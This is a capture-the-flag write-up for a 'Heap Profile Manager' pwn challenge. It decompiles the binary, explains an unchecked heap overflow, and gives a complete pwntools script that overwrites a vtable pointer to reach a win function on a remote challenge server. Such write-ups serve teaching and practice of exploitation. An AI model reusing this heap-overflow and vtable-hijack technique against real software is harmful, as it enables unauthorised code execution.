Pwn - Intro

Binary Exploitation

My blog has migrated to https://wintertia.pages.dev/ ! This Gitbook will no longer be maintained.

Warning: This writeup was originally in 🇮🇩 INDONESIAN for the competition's mandatory writeup, so I used ChatGPT to translate to ENGLISH!!!

17KB

chall

Open

A given binary named chall was analyzed and found to be a “Heap Profile Manager.” After decompiling it using Ghidra, its working mechanism was identified as follows:

void vulnerableFunction(void)

{
  char *pcVar1;
  UserProfile *this;
  AdminProfile *this_00;
  ostream *poVar2;
 
  pcVar1 = (char *)operator.new[](0x40);
  this = (UserProfile *)operator.new(8);
  *(undefined8 *)this = 0;
  UserProfile::UserProfile(this);
  this_00 = (AdminProfile *)operator.new(8);
  *(undefined8 *)this_00 = 0;
  AdminProfile::AdminProfile(this_00);
  std::operator<<((ostream *)std::cout,"Enter your profile descri ption: ");
  std::operator>>((istream *)std::cin,pcVar1);
  poVar2 = std::operator<<((ostream *)std::cout,"Your profile says: ");
  poVar2 = std::operator<<(poVar2,pcVar1);
  std::operator<<(poVar2,"\n");
  (*(code *)**(undefined8 **)this)(this,pcVar1);
  if (pcVar1 != (char *)0x0) {
	operator.delete[](pcVar1);
  }
  if (this != (UserProfile *)0x0) {
	operator.delete(this,8);
  }
  if (this_00 != (AdminProfile *)0x0) {
	operator.delete(this_00,8);
  }
  return;
}

The program starts by allocating 0x40 (or 64 in decimal) bytes for an input buffer, which is then passed to the displayProfile function to display what we input. For example:

However, a significant vulnerability is present in the input handling, as it does not validate the input length, allowing an overflow. The target overflow is the following function call, which also lacks validation, so it can be replaced with any pointer if done correctly:

(*(code *)**(undefined8 **)this)(this,pcVar1);

After that, I tried analyzing the heap content by sending a 64-character cyclic payload using pwntools:

OFFSET=64

payload = flat(
	cyclic(OFFSET,n=8)
)

io.sendline(payload)

Since the buffer size is 0x40, adding heap metadata should result in a total size close to that:

Thus, I was able to further analyze the heap chunk addresses:

It was concluded that three allocations occur in sequence:

1. Buffer allocation (0x40)

2. User allocation (8 bytes)

3. Admin allocation (8 bytes)

The next steps are:

1. Overflow without corrupting the heap structure

2. Replace the vtable of UserProfile with the vtable of the win function found in the AdminProfile class

The vtable address used can be found in Ghidra, resulting in the following payload structure:

1. Offset characters

2. Heap overflow

3. Address of the vtable for win

Thus, the final payload is as follows:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# -*- template: winterbitia -*-

# ====================
# -- PWNTOOLS SETUP --
# ====================

from pwn import *

exe = context.binary = ELF(args.EXE or 'chall')
trm = context.terminal = ['tmux', 'splitw', '-h']

host = args.HOST or '103.127.138.252'
port = int(args.PORT or 17010)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

gdbscript = '''
tbreak main
b *vulnerableFunction+226
b *vulnerableFunction+242
b *vulnerableFunction+264
b *vulnerableFunction+286
continue
'''.format(**locals())

# =======================
# -- EXPLOIT GOES HERE --
# =======================

io = start()

OFFSET=64

log.info(io.clean())

payload = flat(
    cyclic(OFFSET,n=8),
    0x0 * 15,
    0x21,
    0x403db0
)

io.sendline(payload)

io.interactive()